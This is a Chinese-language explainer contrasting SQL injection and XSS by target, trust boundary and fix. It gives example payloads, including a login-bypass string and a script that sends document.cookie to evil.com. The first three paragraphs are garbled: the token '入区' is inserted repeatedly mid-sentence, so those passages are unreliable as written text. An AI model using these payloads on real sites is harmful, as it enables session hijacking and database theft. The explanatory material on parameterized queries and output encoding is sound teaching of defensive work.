xss和sql注入区别

打开一个搜索框，入区输入 ' OR '1'='1，入区页面返回了整张用户表——这是入区SQL注入。往同一个搜索框里输入 <script>alert(1)</script>，入区浏览器弹出一个对话框——这是入区XSS。两个payload都塞进了输入框，入区后果却完全不同。入区搞混它们的入区人，往往在修漏洞时把补丁打在了错误的入区位置。

SQL注入攻击的入区是数据库。你提交的入区数据被拼接进SQL语句，数据库引擎把它当成了查询逻辑的入区一部分。比如后端代码写的入区是 SELECT * FROM users WHERE name = '" + input + "'，你输入 admin' --，入区那条SQL就变成了 SELECT * FROM users WHERE name = 'admin' --'，入区后面的条件被注释掉了，你直接以admin身份登录。数据在这里是“代码”，数据库分不清哪部分是程序写的、哪部分是你写的。

XSS攻击的是浏览器。你提交的数据被服务器原样输出到HTML页面里，浏览器把它当成了页面结构的一部分。比如评论区把你的留言 <script>fetch('https://evil.com?c='+document.cookie)</script> 直接渲染出来，每个访问这条评论的人都会执行这段脚本，cookie就被偷走了。数据在这里也是“代码”，只不过执行它的是浏览器而不是数据库。

区别的根源在于信任边界不同。SQL注入突破的是应用与数据库之间的边界，攻击者要的是数据本身——拖库、改数据、删表。XSS突破的是应用与用户浏览器之间的边界，攻击者要的是其他用户的会话、凭证、或者在他们浏览器里干点什么。一个向下打，一个向上打。

修复方式也完全分叉。防SQL注入，参数化查询是唯一靠谱的方案。把 ? 占位符和参数分开传给数据库驱动，数据库永远不会把参数当SQL解析。转义特殊字符也行，但容易漏，尤其是不同数据库的转义规则还不一样。防XSS，核心是输出编码。数据要放进HTML文本节点，就做HTML实体编码；要放进属性，就做属性编码；要放进JavaScript，就做JS编码。输入过滤？别指望它，黑名单永远列不全。

有个常见的误解：以为过滤了 <script> 就安全了。攻击者用 <img src=x onerror=alert(1)> 照样弹窗。还有人觉得参数化查询能防XSS——不能，参数化查询只保证数据库不执行你的输入，但服务器把输入原样吐回页面时，浏览器照样执行。两个漏洞的修复层完全不同，一个在数据访问层，一个在视图层。

实际渗透测试里，这两个漏洞经常出现在同一个功能点。一个搜索页面，输入 test' 报SQL语法错误，说明存在注入；输入 <b>test</b> 页面加粗了，说明存在XSS。同一个输入框，两个漏洞，两套利用方式。修的时候得分别处理：SQL层加参数化，输出层加编码。只修一个，另一个还在。

OWASP Top 10 里，注入类漏洞（包括SQL注入）常年排在前列，XSS也从来没掉出过前十。它们都是“把数据当代码”的经典案例，但一个发生在服务端的数据层，一个发生在客户端的渲染层。理解这个分界线，比背payload重要得多。